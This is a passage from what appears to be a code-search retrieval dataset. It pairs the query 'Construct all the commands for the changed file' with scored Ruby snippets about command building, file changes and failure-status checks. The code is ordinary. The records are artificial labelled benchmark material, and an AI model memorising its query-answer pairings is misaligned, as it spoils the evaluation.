"docid": "1e92d16d151ab7061890652043a79041",
"score": "0.6768453",
"text": "def failure?\n false\n end",
"title": ""
},
{
"docid": "c20a145bf3e536ea85546d60f74720e8",
"score": "0.67672485",
"text": "def failed?\n !!@failure\n end",
"title": ""
},
{
"docid": "c20a145bf3e536ea85546d60f74720e8",
"score": "0.67672485",
"text": "def failed?\n !!@failure\n end",
"title": ""
},
{
"docid": "7390614f708fb8d69a70d8369340263f",
"score": "0.6756396",
"text": "def failure?\n !success?\n end",
"title": ""
},
{
"docid": "7390614f708fb8d69a70d8369340263f",
"score": "0.6756396",
"text": "def failure?\n !success?\n end",
"title": ""
},
{
"docid": "7390614f708fb8d69a70d8369340263f",
"score": "0.6756396",
"text": "def failure?\n !success?\n end",
"title": ""
},
{
"docid": "7390614f708fb8d69a70d8369340263f",
"score": "0.6756396",
"text": "def failure?\n !success?\n end",
"title": ""
},
{
"docid": "7390614f708fb8d69a70d8369340263f",
"score": "0.6756396",
"text": "def failure?\n !success?\n end",
"title": ""
},
{
"docid": "309291be162a1f38bb9a56cc6bbb8e5d",
"score": "0.6753808",
"text": "def failure_status\n :unprocessable_entity\n end",
"title": ""
},
{
"docid": "0ba869dbb58edfda2b7411fc2c6441cf",
"score": "0.6743685",
"text": "def passed?\n self.status == \"pass\"\n end",
"title": ""
},
{
"docid": "6d0b42db8c5a21d36216a41e86bf3263",
"score": "0.6736165",
"text": "def get_test_fail_status()\r\n @util.logging(\"The test case fail is #{@@test_case_fail}\")\r\n if @@test_case_fail_details.length>0\r\n count =0\r\n @@test_case_fail_details.each do |row|\r\n @util.logging(\" <font color=\\\"red\\\"> failure #{count}</font> -> #{row}\")\r\n count = count +1\r\n end\r\n end\r\n end",
"title": ""
},
{
"docid": "fff592ea0426b2d7705fc8d810592d30",
"score": "0.6733753",
"text": "def fail(reason)\n status.text = \"Failure: #{reason}\"\n end",
"title": ""
},
{
"docid": "bb408375d5ef8000edcf85b48e993620",
"score": "0.6730958",
"text": "def failure?\n not success?\n end",
"title": ""
},
{
"docid": "bb408375d5ef8000edcf85b48e993620",
"score": "0.6730958",
"text": "def failure?\n not success?\n end",
"title": ""
},
{
"docid": "74669474842996cab89858658732fb45",
"score": "0.67251587",
"text": "def check_failure_status(id, type)\n rule = @@dns.get_rule(id)\n status = type.to_s.force_encoding('UTF-8').upcase\n assert_equal(status, rule[:response][0])\n\n check_dns_response(/status: #{status}/, rule[:type], rule[:pattern])\n end",
"title": ""
},
{
"docid": "8d245388d673d761978e457b89eb4f15",
"score": "0.67214364",
"text": "def verify\r\n # si status est nil on le met a 0\r\n self.status||= \"0\"\r\n\r\n unless self.status > 1\r\n\tif self.plein? \r\n\t\tself.status=1\r\n\telse\r\n\t\tself.status=0\r\n\tend\r\n end\r\nend",
"title": ""
},
{
"docid": "617bc30bb181508fa04d09c3680a1f17",
"score": "0.67198116",
"text": "def fail?\n count_failures != 0\n end",
"title": ""
},
{
"docid": "dfd9889747757d5b7a1379b2b3285211",
"score": "0.6706883",
"text": "def failure?\n !@success\n end",
"title": ""
},
{
"docid": "4f1a54a3fc69c268527f9b6b7ff5a6fd",
"score": "0.67061305",
"text": "def failure?\n @failure || false\n end",
"title": ""
},
{
"docid": "7a4d5f5a6ce6d93da900ba4184bcc5f1",
"score": "0.6704644",
"text": "def failing_statuses\n required_statuses.select(&:failure?)\n end",
"title": ""
},
{
"docid": "ed5d0eff9537a02a4c3e3be3cebe8846",
"score": "0.67041725",
"text": "def failed?\n poll_dependencies\n FAILED_STATUSES.include? status\n end",
"title": ""
},
{
"docid": "222e25e173992849f6ce7431d6dc90b9",
"score": "0.67012644",
"text": "def successful?\n status == :successful\n end",
"title": ""
},
{
"docid": "4f247d94e36300e813afc6a96c057412",
"score": "0.66902965",
"text": "def failure?\n code == CODES['Failure']\n end",
"title": ""
},
{
"docid": "3778e017bd7a7064a2cf5d201aeabc12",
"score": "0.668218",
"text": "def failed?\n false\n end",
"title": ""
},
{
"docid": "3778e017bd7a7064a2cf5d201aeabc12",
"score": "0.668218",
"text": "def failed?\n false\n end",
"title": ""
},
{
"docid": "0968e74b42c48c72cd651f3bbbfe39eb",
"score": "0.668164",
"text": "def failure?\n !success?\n end",
"title": ""
},
{
"docid": "0968e74b42c48c72cd651f3bbbfe39eb",
"score": "0.668164",
"text": "def failure?\n !success?\n end",
"title": ""
},
{
"docid": "0968e74b42c48c72cd651f3bbbfe39eb",
"score": "0.668164",
"text": "def failure?\n !success?\n end",
"title": ""
},
{
"docid": "998a325d9d8e25bf1a5f6187120ed11a",
"score": "0.6675709",
"text": "def failures; end",
"title": ""
},
{
"docid": "998a325d9d8e25bf1a5f6187120ed11a",
"score": "0.6675709",
"text": "def failures; end",
"title": ""
},
{
"docid": "998a325d9d8e25bf1a5f6187120ed11a",
"score": "0.6675709",
"text": "def failures; end",
"title": ""
},
{
"docid": "998a325d9d8e25bf1a5f6187120ed11a",
"score": "0.6675709",
"text": "def failures; end",
"title": ""
},
{
"docid": "998a325d9d8e25bf1a5f6187120ed11a",
"score": "0.6675709",
"text": "def failures; end",
"title": ""
},
{
"docid": "998a325d9d8e25bf1a5f6187120ed11a",
"score": "0.6675709",
"text": "def failures; end",
"title": ""
},
{
"docid": "998a325d9d8e25bf1a5f6187120ed11a",
"score": "0.6675709",
"text": "def failures; end",
"title": ""
},
{
"docid": "998a325d9d8e25bf1a5f6187120ed11a",
"score": "0.6675709",
"text": "def failures; end",
"title": ""
}
] |
558eb013ee955ad2a7cc65e71bc7fd81
|
Construct all the commands for the changed file
|
[
{
"docid": "60486e01418093c27de950937b1fddf3",
"score": "0.7851553",
"text": "def construct_commands_for_changed_files(files)\n ConstructCommand.new(:files_to_run => files).create.command\n end",
"title": ""
}
] |
[
{
"docid": "1e8b131bd7bde147d34fdfd48c66d268",
"score": "0.69237345",
"text": "def commands\n # commands are executed in the directory containing the \"from\" files\n\n commands = []\n if action == 'mv'\n args = [action.to_s, '-v']\n\n if files.count == 1\n # for renaming a single file\n # { file_src => file_dest} changes to [file_src, file_dest] and absolute paths are fine here\n args += files.to_a.flatten\n else\n args += files.keys.map { |f| File.basename(f) }\n args << to\n end\n commands = [args]\n elsif action == 'cp'\n commands = files.map { |src_path, dest_path| [action.to_s, '-v', '-r', src_path, dest_path] }\n elsif action == 'rm'\n commands = [[action.to_s, '-v', '-r'] + files.keys]\n else\n raise \"Unknown action: #{action.inspect}\"\n end\n\n commands\n end",
"title": ""
},
{
"docid": "a091adf454ecb65cc201d23a34d6e6c0",
"score": "0.6734078",
"text": "def do_execute_changes\n commands = resource[:changes].clone()\n context = resource[:context]\n commands.each do |cmd_array|\n cmd_array = cmd_array.clone()\n fail(\"invalid command #{cmd_array.join[\" \"]}\") if cmd_array.length < 2\n command = cmd_array[0]\n cmd_array.shift()\n begin\n case command\n when \"set\":\n cmd_array[0]=File.join(context, cmd_array[0])\n debug(\"sending command '#{command}' with params #{cmd_array.inspect}\")\n @aug.set(cmd_array[0], cmd_array[1])\n when \"rm\", \"remove\":\n cmd_array[0]=File.join(context, cmd_array[0])\n debug(\"sending command '#{command}' with params #{cmd_array.inspect}\")\n @aug.rm(cmd_array[0])\n when \"clear\":\n cmd_array[0]=File.join(context, cmd_array[0])\n debug(\"sending command '#{command}' with params #{cmd_array.inspect}\")\n @aug.clear(cmd_array[0])\n when \"insert\", \"ins\"\n ext_array = cmd_array[1].split(\" \") ;\n if cmd_array.size < 2 or ext_array.size < 2\n fail(\"ins requires 3 parameters\")\n end\n label = cmd_array[0]\n where = ext_array[0]\n path = File.join(context, ext_array[1])\n case where\n when \"before\": before = true\n when \"after\": before = false\n else fail(\"Invalid value '#{where}' for where param\")\n end\n debug(\"sending command '#{command}' with params #{[label, where, path].inspect()}\")\n aug.insert(path, label, before)\n else fail(\"Command '#{command}' is not supported\")\n end\n rescue Exception => e\n fail(\"Error sending command '#{command}' with params #{cmd_array.inspect}/#{e.message}\")\n end\n end\n end",
"title": ""
},
{
"docid": "22993e61f405d2b778b2a6a83317a5f1",
"score": "0.636289",
"text": "def parse\n\t\tfile = File.read(@file_path)\n\t\[email protected](['C_FILENAME', @file_name])\n\n\t\tfile.each_line do |line|\n\t\t\tnext if line.strip == '' || line[0...2] == '//'\n\n\t\t\ttokens = line.split\n\n\t\t\tcommand = command_type(tokens[0])\n\t\t\targ1 = argument_1(tokens, command)\n\n\t\t\tif MULTI_ARG_COMMANDS.include?(command)\n\t\t\t\targ2 = tokens[2].to_i\n\t\t\t\[email protected]([command, arg1, arg2])\n\t\t\telse\n\t\t\t\[email protected]([command, arg1])\n\t\t\tend\n\t\tend\n\tend",
"title": ""
},
{
"docid": "cf6ede76b4c5b9e2c7882ebd4fb7b0da",
"score": "0.63605565",
"text": "def command\n # command is executed in the directory containing the \"from\" files\n\n if action == 'mv'\n args = [action.to_s, '-v']\n\n if files.count == 1\n # for renaming a single file\n # { file_src => file_dest} changes to [file_src, file_dest] and absolute paths are fine here\n args += files.to_a.flatten\n else\n args += files.keys.map { |f| File.basename(f) }\n args << to\n end\n elsif action == 'cp'\n args = [action.to_s, '-v']\n args << '-r'\n args += files.keys.map { |f| File.basename(f) }\n args << to\n elsif action == 'rm'\n args = [action.to_s, '-v']\n args << '-r'\n\n args += files.keys\n else\n raise \"Unknown action: #{action.inspect}\"\n end\n\n args\n end",
"title": ""
},
{
"docid": "56c133cd005158aa45dcf7fd92e90563",
"score": "0.6317913",
"text": "def custom_commands\n commands(File.readlines(build_config).map(&:strip))\n end",
"title": ""
},
{
"docid": "a389df19b2488e1474d1b7b7575c5dfa",
"score": "0.61162585",
"text": "def run_on_changes(paths)\n #paths.each do |p| ::Guard::UI.info(\"Files effect : #{p}\") end\n @command.sync\n end",
"title": ""
},
{
"docid": "a9630ec14b12371307d78cbec54ed5ee",
"score": "0.6091074",
"text": "def generate_commands\n commands_file_path = File.join(Wihajster.root, \"lib\", \"wihajster\", \"g_code\", \"commands.rb\")\n File.open(commands_file_path, \"w\") do |f|\n f.puts \"module Wihajster::GCode::Commands\"\n commands.each_pair do |name, command|\n f.puts <<-RUBY.gsub /^\\s{10}/, \"\"\n #{command.comment}\n def #{command.method_name}(args={})\n fc = Wihajster::GCode.format_command(\"#{command.name}\", arguments)\n write_command(fc)\n end\n\n RUBY\n end\n f.puts \"end\"\n end\n end",
"title": ""
},
{
"docid": "7450410f62fcc0e6f7fa81c5490dc5da",
"score": "0.6056219",
"text": "def generate_commands\n\n # creating the setup command\n setup = CmdParse::Command.new('setup', false)\n setup.short_desc = 'Creates the config file needed to place the events in a google calendar.'\n setup.description = 'This command creates the ~/.alvalaxiarc file with empty credentials. '\n setup.description << 'User needs to fill in the google calendar credentials.'\n\n setup.set_execution_block do\n if has_config_file?\n puts 'The config file already exists. If you need to change it, edit it ( ~/.alvalaxiarc )'\n else\n create_config_file\n puts 'Config file created at ~/.alvalaxiarc, edit it with your credentials.'\n end\n end\n\n # creating the run command\n run = CmdParse::Command.new('run', false)\n run.short_desc = 'Runs the program.'\n run.description = 'Gets the SCP home games and places them as events on a given google calendar.'\n \n run.set_execution_block do\n if has_config_file?\n main\n else\n puts 'You first need to run the \"setup\" option to generate a config file.'\n end\n end\n\n @cmd.add_command(setup)\n @cmd.add_command(run)\n @cmd.add_command(CmdParse::HelpCommand.new, true)\n @cmd.add_command(CmdParse::VersionCommand.new, false)\n end",
"title": ""
},
{
"docid": "01db2cc4db4c2b148bc66a5a92448bcf",
"score": "0.60112256",
"text": "def add_original_commands\n end",
"title": ""
},
{
"docid": "01db2cc4db4c2b148bc66a5a92448bcf",
"score": "0.60112256",
"text": "def add_original_commands\n end",
"title": ""
},
{
"docid": "01db2cc4db4c2b148bc66a5a92448bcf",
"score": "0.60112256",
"text": "def add_original_commands\n end",
"title": ""
},
{
"docid": "01db2cc4db4c2b148bc66a5a92448bcf",
"score": "0.60112256",
"text": "def add_original_commands\n end",
"title": ""
},
{
"docid": "01db2cc4db4c2b148bc66a5a92448bcf",
"score": "0.60112256",
"text": "def add_original_commands\n end",
"title": ""
},
{
"docid": "529c1b251e097f38db030a6ac572e38a",
"score": "0.60023373",
"text": "def construct_commands(file=nil)\n @rubies << RVM::Environment.current.environment_name if @rubies.empty?\n construct_rubies_commands(file)\n end",
"title": ""
},
{
"docid": "ac303a992678676c4a6a02223539d416",
"score": "0.5979495",
"text": "def source_commands\n [:sideload, :package, :test, :build, :key, :update, :print]\n end",
"title": ""
},
{
"docid": "8a38d4fbffea6b93e4db2f15d3087f3a",
"score": "0.59359044",
"text": "def makeCommandFile(baseFileName)\n # Build the command codes output file name and include flag\n cmdFileName = ccdd.getOutputPath() + baseFileName + \".h\"\n headerIncludeFlag = \"_\" + baseFileName.upcase + \"_H_\"\n\n # Open the command codes output file\n cmdFile = ccdd.openOutputFile(cmdFileName)\n\n # Check if the command codes file successfully opened\n if cmdFile != nil\n # Add the build information to the output file\n outputFileCreationInfo(cmdFile)\n\n # Add the header include to prevent loading the file more than once\n ccdd.writeToFileLn(cmdFile, \"#ifndef \" + headerIncludeFlag)\n ccdd.writeToFileLn(cmdFile, \"#define \" + headerIncludeFlag)\n ccdd.writeToFileLn(cmdFile, \"\")\n\n minimumLength = 10\n\n # Step through each command table row\n for row in 0..$numCommandRows - 1\n # Get the command name\n cmdName = ccdd.getCommandName(row)\n\n # Check if the command name is present and the length exceeds the\n # minimum length found thus far\n if cmdName != nil && cmdName.length > minimumLength\n # Store the new minimum length\n minimumLength = cmdName.length\n end\n end\n\n # Build the format string used to align the command code definitions\n format = \"#define %-\" + (minimumLength + 1).to_s + \"s %s\\n\"\n\n # Step through each command\n for row in 0..$numCommandRows - 1\n # Get the command ID name and ID value\n cmdName = ccdd.getCommandName(row)\n cmdCode = ccdd.getCommandCode(row)\n\n # Check if the name and ID exist\n if cmdCode != nil && cmdName != nil\n # Output the formatted command code definition to the file\n ccdd.writeToFileFormat(cmdFile, format, cmdName, cmdCode)\n end\n end\n\n # Finish and close the command codes output file\n ccdd.writeToFileLn(cmdFile, \"\")\n ccdd.writeToFileLn(cmdFile, \"#endif /* #ifndef \" + headerIncludeFlag + \" */\")\n ccdd.closeFile(cmdFile)\n # The command codes file failed to open\n else\n # Display an error dialog\n ccdd.showErrorDialog(\"<html><b>Error opening command codes output file '</b>\" + cmdFileName + \"<b>'\")\n end\nend",
"title": ""
},
{
"docid": "4170633fd7c8aaa4f96cd2ec6ead950c",
"score": "0.58465",
"text": "def storlines(cmd, file); end",
"title": ""
},
{
"docid": "f4e4206123a269bd9fcda381211caf9b",
"score": "0.5806605",
"text": "def do_execute_changes\n commands = parse_commands(resource[:changes])\n commands.each do |cmd_array|\n fail(_('invalid command %{cmd}') % { value0: cmd_array.join[' '] }) if cmd_array.length < 2\n command = cmd_array[0]\n cmd_array.shift\n begin\n case command\n when 'set'\n debug(\"sending command '#{command}' with params #{cmd_array.inspect}\")\n rv = aug.set(cmd_array[0], cmd_array[1])\n fail(_(\"Error sending command '%{command}' with params %{params}\") % { command: command, params: cmd_array.inspect }) unless rv\n when 'setm'\n if aug.respond_to?(command)\n debug(\"sending command '#{command}' with params #{cmd_array.inspect}\")\n rv = aug.setm(cmd_array[0], cmd_array[1], cmd_array[2])\n fail(_(\"Error sending command '%{command}' with params %{params}\") % { command: command, params: cmd_array.inspect }) if rv == -1\n else\n fail(_(\"command '%{command}' not supported in installed version of ruby-augeas\") % { command: command })\n end\n when 'rm', 'remove'\n debug(\"sending command '#{command}' with params #{cmd_array.inspect}\")\n rv = aug.rm(cmd_array[0])\n fail(_(\"Error sending command '%{command}' with params %{params}\") % { command: command, params: cmd_array.inspect }) if rv == -1\n when 'clear'\n debug(\"sending command '#{command}' with params #{cmd_array.inspect}\")\n rv = aug.clear(cmd_array[0])\n fail(_(\"Error sending command '%{command}' with params %{params}\") % { command: command, params: cmd_array.inspect }) unless rv\n when 'clearm'\n # Check command exists ... doesn't currently in ruby-augeas 0.4.1\n if aug.respond_to?(command)\n debug(\"sending command '#{command}' with params #{cmd_array.inspect}\")\n rv = aug.clearm(cmd_array[0], cmd_array[1])\n fail(_(\"Error sending command '%{command}' with params %{params}\") % { command: command, params: cmd_array.inspect }) unless rv\n else\n fail(_(\"command '%{command}' not supported in installed version of ruby-augeas\") % { command: command })\n end\n when 'touch'\n debug(\"sending command '#{command}' (match, set) with params #{cmd_array.inspect}\")\n if aug.match(cmd_array[0]).empty?\n rv = aug.clear(cmd_array[0])\n fail(_(\"Error sending command '%{command}' with params %{params}\") % { command: command, params: cmd_array.inspect }) unless rv\n end\n when 'insert', 'ins'\n label = cmd_array[0]\n where = cmd_array[1]\n path = cmd_array[2]\n case where\n when 'before' then before = true\n when 'after' then before = false\n else fail(_(\"Invalid value '%{where}' for where param\") % { where: where })\n end\n debug(\"sending command '#{command}' with params #{[label, where, path].inspect}\")\n rv = aug.insert(path, label, before)\n fail(_(\"Error sending command '%{command}' with params %{params}\") % { command: command, params: cmd_array.inspect }) if rv == -1\n when 'defvar'\n debug(\"sending command '#{command}' with params #{cmd_array.inspect}\")\n rv = aug.defvar(cmd_array[0], cmd_array[1])\n fail(_(\"Error sending command '%{command}' with params %{params}\") % { command: command, params: cmd_array.inspect }) unless rv\n when 'defnode'\n debug(\"sending command '#{command}' with params #{cmd_array.inspect}\")\n rv = aug.defnode(cmd_array[0], cmd_array[1], cmd_array[2])\n fail(_(\"Error sending command '%{command}' with params %{params}\") % { command: command, params: cmd_array.inspect }) unless rv\n when 'mv', 'move'\n debug(\"sending command '#{command}' with params #{cmd_array.inspect}\")\n rv = aug.mv(cmd_array[0], cmd_array[1])\n fail(_(\"Error sending command '%{command}' with params %{params}\") % { command: command, params: cmd_array.inspect }) if rv == -1\n when 'rename'\n debug(\"sending command '#{command}' with params #{cmd_array.inspect}\")\n rv = aug.rename(cmd_array[0], cmd_array[1])\n fail(_(\"Error sending command '%{command}' with params %{params}\") % { command: command, params: cmd_array.inspect }) if rv == -1\n else fail(_(\"Command '%{command}' is not supported\") % { command: command })\n end\n rescue StandardError => e\n fail(_(\"Error sending command '%{command}' with params %{params}/%{message}\") % { command: command, params: cmd_array.inspect, message: e.message })\n end\n end\n end",
"title": ""
},
{
"docid": "936bd368587e041de69937aeac0990ec",
"score": "0.5789925",
"text": "def process_commands; end",
"title": ""
},
{
"docid": "60e30da1736526eebf2a4ab2f119c774",
"score": "0.5768111",
"text": "def source_commands\n @source_commands ||= []\n end",
"title": ""
},
{
"docid": "1c34ed421c5986186617a82b3665bd9f",
"score": "0.57600135",
"text": "def run_changed_lib_file(file)\n file = File.basename(file[1])\n files = test_framework.all_files.grep(/#{file}/i)\n run_commands_for_file(files.join(' ')) unless files.empty?\n end",
"title": ""
},
{
"docid": "f323babc1632a06040680ebb5abd9522",
"score": "0.57549715",
"text": "def diff_files; end",
"title": ""
},
{
"docid": "5d510b0db1979d7edc1c9bb339529cd6",
"score": "0.57365614",
"text": "def commands; end",
"title": ""
},
{
"docid": "5d510b0db1979d7edc1c9bb339529cd6",
"score": "0.57365614",
"text": "def commands; end",
"title": ""
},
{
"docid": "5d510b0db1979d7edc1c9bb339529cd6",
"score": "0.57365614",
"text": "def commands; end",
"title": ""
},
{
"docid": "5d510b0db1979d7edc1c9bb339529cd6",
"score": "0.57365614",
"text": "def commands; end",
"title": ""
},
{
"docid": "5d510b0db1979d7edc1c9bb339529cd6",
"score": "0.57365614",
"text": "def commands; end",
"title": ""
},
{
"docid": "5d510b0db1979d7edc1c9bb339529cd6",
"score": "0.57365614",
"text": "def commands; end",
"title": ""
},
{
"docid": "18582a069c6abea0ffaa5304c7f836c8",
"score": "0.57309794",
"text": "def process\n return if changes.nil?\n \n modified, deleted, copied = [], [], []\n \n changes.each_pair do |path, change|\n next if short_path(path).blank? || !path_in_root?(path)\n \n case change.action\n when \"M\", \"A\", \"R\" # Modified, Added or Replaced\n modified << path\n when \"D\"\n deleted << path\n end\n copied << [path, change.copyfrom_path] if change.copyfrom_path\n end\n \n # Perform moves\n copied.each do |copy|\n del = deleted.find { |d| d == copy[1] }\n if del\n # Change the path. No need to perform other updates, as this is an\n # \"A\" or \"R\" and thus is in the +modified+ Array.\n record = get(del)\n record.move_to(short_path(copy[0])) if record\n end\n end\n \n # Perform deletes\n deleted.each do |path|\n record = get(path)\n record.destroy if record # May have been moved or refer to a directory\n end\n \n # Perform modifies and adds\n modified.each do |path|\n node = Node.new(self, path)\n \n if @config.extension && \n node.file? &&\n path !~ /\\.#{@config.extension}\\Z/ \n if path =~ /\\.yml\\Z/ && @model.svn_category_model\n # Update parent directory, if applicable\n path = path.split(\"/\")[0..-2].join(\"/\")\n node = Node.new(self, path)\n else\n next\n end\n end\n \n record = get(path) || new_record(node)\n \n # update record\n record.update_from_svn(node)\n end\n end",
"title": ""
},
{
"docid": "06eec11a63bd2fd3c8377c1ec8a693bf",
"score": "0.5724253",
"text": "def apply_textdelta(file_baton, base_checksum)\r\n end",
"title": ""
},
{
"docid": "18100a48e5d35bae202b2b0c698f4335",
"score": "0.57183087",
"text": "def initialize(filename)\n @commands = IO.readlines(filename, chomp: true)\n .collect{|c| c.gsub(/(\\s*)/, '').gsub(/\\/\\/.*/, '')}\n .select{|c| c != ''}\n @i = 0\n end",
"title": ""
},
{
"docid": "af3c1147a1a18504181590af483de4c6",
"score": "0.5714588",
"text": "def touch_cmd(new_path_file)\n cmd_exec(\"> #{new_path_file}\")\n end",
"title": ""
},
{
"docid": "ac65acc75deaa2ffce1f11435b2bac77",
"score": "0.57115096",
"text": "def commit_helper_modified(modified_files)\n\t\tmodified_files.each do |file|\n\t\t\ttype = File.extname(file)\n\t\t\tfile.slice!(type)\n\t\t\tputs file + \" -> \" + set_filename_in_rep(file, type)\n\t\t\tinitialize_files(@branch_dir , set_filename_in_rep(file, type) , read_file(@currentDir, file + type))\n\t\tend\n\t\tupdate_currentBranchfile()\n\t\tupdate_branches()\n\t\tdelete_ready_for_commitfiles()\n\tend",
"title": ""
},
{
"docid": "536bb0077b0e1174310740bd05f69c82",
"score": "0.57040036",
"text": "def custom_commands\n commands(File.readlines(deploy_config).map(&:strip))\n end",
"title": ""
},
{
"docid": "9daca2047ddb5ea9ad23b229217ac58f",
"score": "0.5703682",
"text": "def after_create_commands(lib, commands); end",
"title": ""
},
{
"docid": "bbb4713d14bc9a64b901678ccc29e71e",
"score": "0.5702141",
"text": "def define_additional_commands; end",
"title": ""
},
{
"docid": "bbb4713d14bc9a64b901678ccc29e71e",
"score": "0.5702141",
"text": "def define_additional_commands; end",
"title": ""
},
{
"docid": "6885c34357129a37e4ab837cba558916",
"score": "0.57018846",
"text": "def getCmdChangeset()\n cmd = getCmdCdRepo\n\n @revs.each do |rev|\n cmd += getCmdLog(rev)\n end\n end",
"title": ""
},
{
"docid": "38f11e174a9406c849970e2d5305b255",
"score": "0.5699149",
"text": "def create_commands_map\n # Require all the ruby command files\n command_file_paths.each do |file|\n require file\n\n # Get basename for the file without the extension\n basename = get_basename_from_file(file)\n\n # Camelcase the basename to be the klass name\n klass_name = camelize(basename)\n\n # return the command klass for this klass_name\n command_klass = Conflux::Command.const_get(klass_name)\n\n # For each of the user-defined methods inside this class, create a command for it\n manually_added_methods(command_klass).each { |method|\n register_command(basename, method.to_s, command_klass, global: basename == 'global')\n }\n end\n end",
"title": ""
},
{
"docid": "1b0056dbfb05156bb37cc8cbc97b1794",
"score": "0.56951535",
"text": "def add_commands\n @cmd.add_command(CmdParse::HelpCommand.new)\n @cmd.add_command(CmdParse::VersionCommand.new)\n\n if Juicer.const_defined?(\"Command\")\n Juicer::Command.constants.each do |const|\n const = Juicer::Command.const_get(const)\n @cmd.add_command(const.new(@log)) if const.kind_of?(Class)\n end\n end\n end",
"title": ""
},
{
"docid": "00c4149d9a00bb1bc0d4634a4c3af74f",
"score": "0.5687471",
"text": "def command_file_paths\n abstract_file = File.join(File.dirname(__FILE__), 'command', 'abstract_command.rb')\n Dir[File.join(File.dirname(__FILE__), 'command', '*.rb')] - [abstract_file]\n end",
"title": ""
},
{
"docid": "dff131747166359bd82b645f52c56056",
"score": "0.565529",
"text": "def apply_changes\n RubyEdit::File::Writer.new.write\n end",
"title": ""
},
{
"docid": "80f8af4eb06b1ba13b83ed50eec4a9ce",
"score": "0.5612667",
"text": "def applyCommand cmd, fd\n \n unless @config.variablesDisabled\n @config.variables.each do |k, v|\n cmd.gsub! '{{'+k.to_s+'}}', v\n end\n\n cmd.gsub! '{{f}}', fd.path\n cmd.gsub! '{{bn}}', File.basename(fd.path)\n cmd.gsub! '{{bn1}}', File.basename(fd.path, '.*')\n cmd.gsub! '{{ext}}', File.extname(fd.path)\n cmd.gsub! '{{dn}}', File.dirname(fd.path)\n st = fd.stat\n cmd.gsub! '{{mode}}', st.mode.to_s\n cmd.gsub! '{{mtime}}', st.mtime.to_i.to_s\n cmd.gsub! '{{ctime}}', st.ctime.to_i.to_s\n cmd.gsub! '{{size}}', st.size.to_s\n end\n fd.flock File::LOCK_UN\n system cmd\n puts cmd\n end",
"title": ""
},
{
"docid": "1b1ed4e365233dfa48e42e1a2e50fce7",
"score": "0.5609446",
"text": "def chef_cmds(base_cmd)\n cmd = prefix_command(wrap_shell_code(\n [base_cmd, *chef_args(config_filename), last_exit_code].join(\" \")\n .tap { |str| str.insert(0, reload_ps1_path) if windows_os? }\n ))\n\n cmds = [cmd].cycle(config[:multiple_converge].to_i).to_a\n\n if config[:enforce_idempotency]\n idempotent_cmd = prefix_command(wrap_shell_code(\n [base_cmd, *chef_args(\"client_no_updated_resources.rb\"), last_exit_code].join(\" \")\n .tap { |str| str.insert(0, reload_ps1_path) if windows_os? }\n ))\n cmds[-1] = idempotent_cmd\n end\n cmds\n end",
"title": ""
},
{
"docid": "46eb921d9a3a5f77b1c7391f2a6f79ce",
"score": "0.5597954",
"text": "def command_for(file, line)\n line = line.to_s\n words = Shellwords.shellwords(command)\n words.map! do |word|\n word.gsub!(/%f/, file)\n word.gsub!(/%l/, line)\n word.gsub!(/%%/, '%')\n word\n end\n end",
"title": ""
},
{
"docid": "ee0c6a8ff7b129e33d2079fd096eb0ab",
"score": "0.55935544",
"text": "def all_commands; end",
"title": ""
},
{
"docid": "19843ba61991bde5a45b7e3ed19abec9",
"score": "0.5591997",
"text": "def load_basic_commands\n load_cmd = lambda do |name, cmd|\n if !$_commands[name].nil?\n puts \"Command #{name} is reserved, it won't work unless you rename the file\"\n print \"Press Enter to continue \"\n gets\n end\n $_commands[name] = cmd\n end\n load_cmd[\"help\", BasicCommands::Help.new]\n load_cmd[\"exit\", BasicCommands::Exit.new]\n end",
"title": ""
},
{
"docid": "d72b6f108132c66f4a54a7c6f6e08c9c",
"score": "0.55901635",
"text": "def commands\n script.split(/\\r\\n|\\r|\\n/).reject(&:blank?).map do |line|\n line = line.gsub(/[[:space:]]+/, \" \").strip\n next if line.empty?\n\n case line\n when /\\A(?:create alias|alias) (\\S+) -> (\\S+)\\z/i\n [:create_alias, Tag.normalize_name($1), Tag.normalize_name($2)]\n when /\\A(?:create implication|imply) (\\S+) -> (\\S+)\\z/i\n [:create_implication, Tag.normalize_name($1), Tag.normalize_name($2)]\n when /\\A(?:remove alias|unalias) (\\S+) -> (\\S+)\\z/i\n [:remove_alias, Tag.normalize_name($1), Tag.normalize_name($2)]\n when /\\A(?:remove implication|unimply) (\\S+) -> (\\S+)\\z/i\n [:remove_implication, Tag.normalize_name($1), Tag.normalize_name($2)]\n when /\\Arename (\\S+) -> (\\S+)\\z/i\n [:rename, Tag.normalize_name($1), Tag.normalize_name($2)]\n when /\\A(?:mass update|update) (.+?) -> (.*)\\z/i\n [:mass_update, $1, $2]\n when /\\Acategory (\\S+) -> (#{Tag.categories.regexp})\\z/i\n [:change_category, Tag.normalize_name($1), $2.downcase]\n when /\\Anuke (\\S+)\\z/i\n [:nuke, $1]\n when /\\Adeprecate (\\S+)\\z/i\n [:deprecate, $1]\n when /\\Aundeprecate (\\S+)\\z/i\n [:undeprecate, $1]\n else\n [:invalid_line, line]\n end\n end\n end",
"title": ""
},
{
"docid": "ffd52afe221cc4a309e809d5779fd91a",
"score": "0.55836624",
"text": "def commands\n end",
"title": ""
},
{
"docid": "ffd52afe221cc4a309e809d5779fd91a",
"score": "0.55836624",
"text": "def commands\n end",
"title": ""
},
{
"docid": "5dea4a8e9ca7f98fff44863033f92e9f",
"score": "0.5573614",
"text": "def update_commands!\n config = BeEF::Core::Configuration.instance\n\n db_modules = []\n BeEF::Core::Models::CommandModule.all.each do |mod|\n db_modules << mod.name\n end\n \n\n config.get('beef.module').each{|k,v|\n BeEF::Core::Models::CommandModule.new(:name => k, :path => \"#{v['path']}module.rb\").save if not db_modules.include? k\n }\n \n BeEF::Core::Models::CommandModule.all.each{|mod|\n if config.get('beef.module.'+mod.name) != nil\n config.set('beef.module.'+mod.name+'.db.id', mod.id)\n config.set('beef.module.'+mod.name+'.db.path', mod.path)\n end\n }\n\n # Call Migration method\n BeEF::API::Registrar.instance.fire(BeEF::API::Migration, 'migrate_commands')\n \n end",
"title": ""
},
{
"docid": "28c158966b1ac4a10237332c96a8cfbe",
"score": "0.5559477",
